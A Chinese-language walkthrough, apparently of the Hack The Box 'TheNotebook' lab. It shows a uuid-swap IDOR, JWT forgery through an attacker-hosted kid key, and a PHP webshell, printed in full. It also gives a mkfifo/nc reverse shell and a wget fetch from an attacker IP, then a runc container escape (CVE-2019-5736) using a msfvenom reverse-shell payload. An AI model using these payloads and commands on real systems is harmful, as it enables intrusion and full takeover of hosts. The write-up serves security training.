HTB-TheNotebook
信息收集
80端口
存在一个登录和注册用户业务。先看看登录业务,在登录中如果我输入不存在的用户就会出现: Login Failed! Reason: User doesn’t exist.
如果是存在的用户就会出现: Login Failed! Reason: Incorrect Password
接着去测试了一下注册业务。
脑子浮现出三种可能:二次注入、hydra暴力破解admin密码、SQL/NoSQL注入。一个一个来吧,hydra挂后台,先试二次注入。但是通过简单的测试发现SQL/NOSQL和二次注入似乎不成立。(hydra还在后台努力着)
不过我在对网站进行抓包时发现了一个有趣的东西。我们首先注册一个用户tom,目标会给我们一个设置两个cookie一个是auth猜测是tom的复杂身份证,第二个uuid猜测是tom的简单身份证。
当我们使用notes业务时,网站会导航向/tom的简易身份证/notes格式来使用notes业务。
在tom帐号内创建两个notes。
记住tom的uuid(简易身份证),退出登录创建新的用户jerry并登录,然后访问notes时将tom的uuid替换掉jerry的uuid,就能以jerry的身份访问tom的notes。
JWT攻击
如果我们能知道admin或者test用户的uuid就能读取他们的notes。先放在这万一有用,你看那个auth的cookie开头是ey,可能是jwt,丢到jwt.io看看。
JWT header中的alg是加密算法、typ是类型、kid是指定加密算法的密钥,该密钥的位置是本地的7070端口中的privKey.key。payload中"admin_cap": false似乎是用来判断是否为管理员的。因为要伪造满足条件的JWT,需要在本地创建一个RSA RS256密钥,要和JWT中的密钥相同才能伪造验证,所以我们要创建一个admin_cap:true的JWT。首先要在本地创建一个创建一个kid,然后修改admin_cap:true就可以了。
在本地生成一个长度为2048的RS256 rsa密钥:openssl genrsa -out rsa-private-key.pem 2048
,并且使用python建立一个简易的http服务。
然后来到jwt.io,选择RS256加密,接着添加必要的信息。
最后在tom的登录状态下,修改tom的auth JWT,目标通过获取我们伪造的kid与JWT中的private核对,成功后获得管理员身份。
在admin面板,有两个选择一个是查看notes,一个是上传文档。notes中貌似就管理员留下的fix config和管理员配置了定期备份可以注意一下。
接着就是上传文件,通过上传phpinfo测试是否执行php代码。
立足
上传webshell。
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
它每隔几分钟会删除上传的文件,不过不怎么影响。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.31 443 >/tmp/f
www-data -> noah
有备份是个好习惯,但是需要注意备份的权限管理。在/var找到一个backups。
有趣的是,管理员把home也备份了一遍。
将home的备份文件传输过去后解压打开可以看到noah用户的ssh私钥,使用私钥登录。
noah -> root
/usr/bin/docker exec -it webapp-dev01*
#***命令解释***
/usr/bin/docker exec -在docker容器中执行命令
-i :即使没有附加也保持STDIN 打开
-t :分配一个伪终端
/usr/bin/docker exec -it webapp-dev01* 就是在webapp-dev01*容器中分配一个伪终端并可以输入。
查找镜像和容器均没权限。
查看本地tcp端口。
嗷,容器名字就叫webapp-dev01
。
查看docker版本并寻找可能存在的exploit。
简单来说该漏洞通过从容器内覆盖和执行主机系统 runc 二进制文件来实现。原来PoC要使用到的命令我们并没有权限,所以要换一个利用方法。根据Dockerfile所述,我们需要/overwrite_runc、/replace.sh,以及一些替换操作。
new_runc是overwrite_runc运行所需的。
new_runc内容看起来是这个样子的。
也就是说bash_evil、new_runc、overwrite_runc、replace.sh这四个文件是必要的。根据代码推测new_runc是很重要的,在malicious_image_POC的Dockerfile中看到一句话。
因为环境不同所以我们对new_runc进行修改,尝试将其替换为reverse shell。
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.31 LPORT=4444 -f elf -o new_runc
然后把这四个弄过去,记得新开一个SSH。
for i in {bash_evil,new_runc,overwrite_runc,replace.sh};do wget http://10.10.14.31:8000/$i;done
然后修改相关文件权限。
接着跟着exec_POC的Dockerfile走。
最后执行replace。
OK,目前为止在容器中要进行的操作已经完成了,接下来就是新开的SSH中需要完成的操作。因为我们能执行的操作只有sudo docker exec -it webapp-dev01*,并且此漏洞主要是覆盖并执行。
所以sudo docker exec -it webapp-dev01 /bin/bash_original做到上述所说诱骗它执行自身。
过了一会连上了,但有什么在清理脚本,动作要快。
这篇文章很详细的介绍了CVE-2019-5736的原理。